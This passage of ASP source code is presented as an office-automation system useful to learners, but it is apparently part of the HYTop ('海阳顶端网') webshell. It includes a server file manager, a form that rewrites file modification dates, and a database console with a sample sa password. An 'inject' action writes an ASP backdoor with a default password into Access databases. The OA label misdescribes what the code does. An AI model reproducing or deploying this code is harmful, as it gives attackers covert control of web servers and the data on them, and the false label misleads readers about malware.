hu.asp

我的一个oa用asp编写的系统可能对那些学习asp的人员有用。

			If intI > 200 Then
				intI = 0
				Response.Flush()
			End If
			
			If objMember.IsFolder = True Then
				If Left(objMember.Path, 2) = "::" Then
					strPath = URLEncode(objMember.Path)
				 Else
					strPath = URLEncode(objMember.Path) & "%5C"
				End If
				strFolderList = strFolderList & "<span id=""" & strPath & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>" & objMember.Name & "</span>"
			 Else
			 	strDetails = objFolder.GetDetailsOf(objMember, -1)
			 	strFilePath = objMember.Path
				strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1)
				strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
				strFileList = strFileList & "<span title=""" & strDetails & """ ondblclick='openUrl();' id=""" & URLEncode(strFilePath) & """ onclick='changeMyClass(this);'><font class=font face=" & getFileIcon(strExtName) & "</font><br/>" & strFileName & "</span>"
			End If
		Next
		chkErr(Err)

		strParentPath = getParentPath(thePath)
		If thePath <> "" And Left(thePath, 2) <> "::" Then
			strFolderList = "<span id=""" & URLEncode(strParentPath) & """ ondblclick='changeThePath(this);' onclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>..</span>" & strFolderList
		End If

		echo "<div id=FileList>"
		echo strFolderList & strFileList
		echo "</div>"
		echo "<hr/>Powered By Butterfly"
		
		Set objFolder = Nothing
	End Sub

	Function getParentPath(strPath)
		If Right(strPath, 1) = "\" Then
			strPath = Left(strPath, Len(strPath) - 1)
		End If
		If Len(strPath) = 2 Then
			getParentPath = " "
		 Else
			getParentPath = Left(strPath, InStrRev(strPath, "\"))
		End If
	End Function

	Function streamSaveToFile(thePath, fileContent)
		Dim stream
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Set stream = Server.CreateObject("adodb.stream")
		With stream
			.Type=2
			.Mode=3
			.Open
			chkErr(Err)
			.Charset="gb2312"
			.WriteText fileContent
			.saveToFile thePath, 2
			.Close
		End With
		Set stream = Nothing
	End Function

	Sub appDoPastOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strAct, strPath
		dim objTargetFolder
		strAct = Session(m & "appTheAct")
		strPath = Session(m & "appThePath")
		
		If strAct = "" Or strPath = "" Then
			alertThenClose("参数错误,粘贴前请先复制/剪切!")
			Exit Sub
		End If
		
		If InStr(LCase(thePath), LCase(strPath)) > 0 Then
			alertThenClose("目标文件夹在源文件夹内,非法操作!")
			Exit Sub
		End If

		strPath = trimThePath(strPath)
		thePath = trimThePath(thePath)

		Set objTargetFolder = saX.NameSpace(thePath)
		If strAct = "copyOne" Then
			objTargetFolder.CopyHere(strPath)
		 Else
			objTargetFolder.MoveHere(strPath)
		End If
		chkErr(Err)
		
		Set objTargetFolder = Nothing
	End Sub

	Sub appTheAttributes(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim i, strSth, objFolder, objItem, strModifyDate
		strModifyDate = Request("ModifyDate")
		
		thePath = trimThePath(thePath)

		If thePath = "" Then
			alertThenClose("没有选择任何文件(夹)!")
			Exit Sub
		End If

		strSth = Left(thePath, InStrRev(thePath, "\"))
		Set objFolder = saX.NameSpace(strSth)
		chkErr(Err)
		strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
		Set objItem = objFolder.ParseName(strSth)
		chkErr(Err)

		If isDate(strModifyDate) Then
			objItem.ModifyDate = strModifyDate
			alertThenClose("修改成功!")
			Set objItem = Nothing
			Set objFolder = Nothing
			Exit Sub
		End If
		
'		strSth = objFolder.GetDetailsOf(objItem, -1)
'		strSth = Replace(strSth, chr(10), "<br/>")
		For i = 1 To 8
			strSth = strSth & "<br/>属性(" & i & "): " & objFolder.GetDetailsOf(objItem, i)
		Next
		strSth = Replace(strSth, "属性(1)", "大小")
		strSth = Replace(strSth, "属性(2)", "类型")
		strSth = Replace(strSth, "属性(3)", "最后修改")
		strSth = Replace(strSth, "属性(8)", "所有者")
		strSth = strSth & "<form method=post>"
		strSth = strSth & "<input type=hidden name=theAct value=theAttributes>"
		strSth = strSth & "<input type=hidden name=thePath value=""" & thePath & """>"
		strSth = strSth & "<br/>最后修改: <input size=30 value='" & objFolder.GetDetailsOf(objItem, 3) & "' name=ModifyDate />"
		strSth = strSth & "<input type=submit value=' 修改 '>"
		strSth = strSth & "</form>"
		echo strSth
		
		Set objItem = Nothing
		Set objFolder = Nothing
	End Sub

	Sub appRenameOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strSth, fileName, objItem, objFolder
		fileName = Request("fileName")
		
		thePath = trimThePath(thePath)

		strSth = Left(thePath, InStrRev(thePath, "\"))
		Set objFolder = saX.NameSpace(strSth)
		chkErr(Err)
		strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
		Set objItem = objFolder.ParseName(strSth)
		chkErr(Err)
		strSth = Split(thePath, ".")(UBound(Split(thePath, ".")))
		
		If fileName <> "" Then
			objItem.Name = fileName
			chkErr(Err)
			alertThenClose("重命名成功,刷新本页可以看到效果!")
			Set objItem = Nothing
			Set objFolder = Nothing
			Exit Sub
		End If
		
		echo "<form method=post>重命名:"
		echo "<input type=hidden name=theAct value=rename>"
		echo "<input type=hidden name=thePath value=""" & thePath & """>"
		echo "<br/><input size=30 value=""" & objItem.Name & """ name=fileName />"
		If InStr(strSth, ":") <= 0 Then
			echo "." & strSth
		End If
		echo "<hr/><input type=submit value=' 修改 '>" & strJsCloseMe
		echo "</form>"
		
		Set objItem = Nothing
		Set objFolder = Nothing
	End Sub

	Function streamLoadFromFile(thePath)
		Dim stream
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Set stream = Server.CreateObject("adodb.stream")
		With stream
			.Type=2
			.Mode=3
			.Open
			.LoadFromFile thePath
			.LoadFromFile thePath
			If Request("pageName") <> "TxtSearcher" Then
				chkErr(Err)
			End If
			.Charset="gb2312"
			.Position=2
			streamLoadFromFile=.ReadText()
			.Close
		End With
		Set stream = Nothing
	End Function

	Sub pageMsDataBase()
		Dim theAct, sqlStr
		theAct = Request("theAct")
		sqlStr = Request("sqlStr")
		
		showTitle("mdb+mssql数据库操作页")
		
		If sqlStr = "" Then
			If Session(m & "sqlStr") = "" Then
				sqlStr = "e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"
			 Else
				sqlStr = Session(m & "sqlStr")
			End If
		End If
		Session(m & "sqlStr") = sqlStr
		
		echo "<style>body{margin:8;}</style>"
		echo "<form method=post action='?pageName=MsDataBase&theAct=showTables' onSubmit='this.Submit.disabled=true;'>"
		echo "<a href='?pageName=MsDataBase'>mdb+mssql数据库操作</a><br/>"
		echo "<input name=sqlStr type=text id=sqlStr value=""" & sqlStr & """ size=60 style='width:80%;'>"
		echo "<input name=theAct type=hidden value=showTables><br/>"
		echo "<input type=Submit name=Submit value=' 提交 '>"
		echo "<input type=button name=Submit2 value=' 插入 ' onclick=""if(confirm('这里是在ACESS数据里插入海阳顶端网ASP后门\n默认密码是" & clientPassword & "\n后门插入后可以使用的前提是\n数据库是asp后缀, 并且没有错乱asp代码\n确认操作吗?')){location.href='?pageName=MsDataBase&theAct=inject&sqlStr='+this.form.sqlStr.value;this.disabled=true;}"">"
		echo "<input type=button value=' 示例 ' onclick=""this.form.sqlStr.value='e:\\HYTop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;';"">"
		echo "</form>"
		echo "<hr/>注: 插入只针对ACCESS操作, 要浏览ACCESS在表单中的写法是""d:\bbs.mdb"", SQL据库写法是""sql:连接字符串"", 不要忘写sql:。<hr/>"

		Select Case theAct
			Case "showTables"
				showTables()
			Case "query"
				showQuery()
			Case "inject"
				accessInject()
		End Select
		
		echo "Powered By butterfly"
	End Sub

	Sub showTables()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr
		sqlStr = Request("sqlStr")
		If LCase(Left(sqlStr, 4)) = "sql:" Then
			connStr = Mid(sqlStr, 5)
		 Else
			connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
		End If
		Set conn = Server.CreateObject("Adodb.Connection")
		
		conn.Open connStr
		chkErr(Err)
		
		tablesStr = getTableList(conn, sqlStr, rsTable)
		
		echo "<a href=""?pageName=MsDataBase&theAct=showTables&sqlStr=" & UrlEncode(sqlStr)  & """>数据库表结构查看:</a><br/>"
		echo tablesStr & "<hr/>"
		echo "<a href=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & """>转到SQL命令执行</a><hr/>"

		Do Until rsTable.Eof
			Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))
			echo "<table border=0 cellpadding=0 cellspacing=0><tr><td height=22 colspan=6><b>" & rsTable("Table_Name") & "</b></td>"
			echo "</tr><tr><td colspan=6><hr/></td></tr><tr align=center>"
			echo "<td>字段名</td><td>类型</td><td>大小</td><td>精度</td><td>允许为空</td><td>默认值</td></tr>"
			echo "<tr><td colspan=6><hr/></td></tr>"

			Do Until rsColumn.Eof
				echo "<tr align=center>"
				echo "<td align=Left>&nbsp;" & rsColumn("Column_Name") & "</td>"
				echo "<td width=80>" & getDataType(rsColumn("Data_Type")) & "</td>"
				echo "<td width=70>" & rsColumn("Character_Maximum_Length") & "</td>"
				echo "<td width=70>" & rsColumn("Numeric_Precision") & "</td>"
				echo "<td width=70>" & rsColumn("Is_Nullable") & "</td>"
				echo "<td width=80>" & rsColumn("Column_Default") & "</td>"
				echo "</tr>"
				rsColumn.MoveNext
			Loop
			
			echo "<tr><td colspan=6><hr/></td></tr></table>"
			rsTable.MoveNext
		Loop

		echo "<hr/>"

		conn.Close
		Set conn = Nothing
		Set rsTable = Nothing
		Set rsColumn = Nothing
	End Sub

	Sub showQuery()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable
		sql = Request("sql")
		page = Request("page")
		sqlStr = Request("sqlStr")
		theTable = Request("theTable")
		
		If Not IsNumeric(page) or page = "" Then
			page = 1
		End If
		
		If sql = "" And theTable <> "" Then
			sql = "Select top " & dbSelectNumber & " * from [" & theTable & "]"
		End If
		
		If LCase(Left(sqlStr, 4)) = "sql:" Then
			connStr = Mid(sqlStr, 5)
		 Else
			connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
		End If
		Set rs = Server.CreateObject("Adodb.RecordSet")
		Set conn = Server.CreateObject("Adodb.Connection")
	
		conn.Open connStr
		chkErr(Err)
		
		tablesStr = getTableList(conn, sqlStr, rsTable)

		echo "<a href=""?pageName=MsDataBase&theAct=showTables&sqlStr=" & UrlEncode(sqlStr)  & """>数据库表结构查看:</a><br/>"
		echo tablesStr & "<hr/>"
		echo "<a href=?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & "&sql=" & UrlEncode(sql) & ">SQL命令执行及查看</a>"
		echo "<br/><form method=post action=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & """>"
		echo "<input name=sql type=text id=sql value=""" & HtmlEncode(sql) & """ size=60>"
		echo "<input type=Submit name=Submit4 value=执行查询><hr/>"

		If sql <> "" And Left(LCase(sql), 7) = "select " Then
			rs.Open sql, conn, 1, 1
			chkErr(Err)
			rs.PageSize = 20
			If Not rs.Eof Then
				rs.AbsolutePage = page
			End If
			If rs.Fields.Count>0 Then
				echo "<br><table border=""1"" cellpadding=""0"" cellspacing=""0"" width=""98%"">"
				echo "<tr>"
				echo "<td height=""22"" align=""center"" class=""tr"" colspan=""" & rs.Fields.Count & """>SQL操作 - 执行结果</td>"
				echo "</tr>"
				echo "<tr>"
				For j = 0 To rs.Fields.Count-1
					echo "<td height=""22"" align=""center"" class=""td""> " & rs.Fields(j).Name & " </td>"
				Next
				For i = 1 To 20
					If rs.Eof Then
						Exit For
					End If
					echo "</tr>"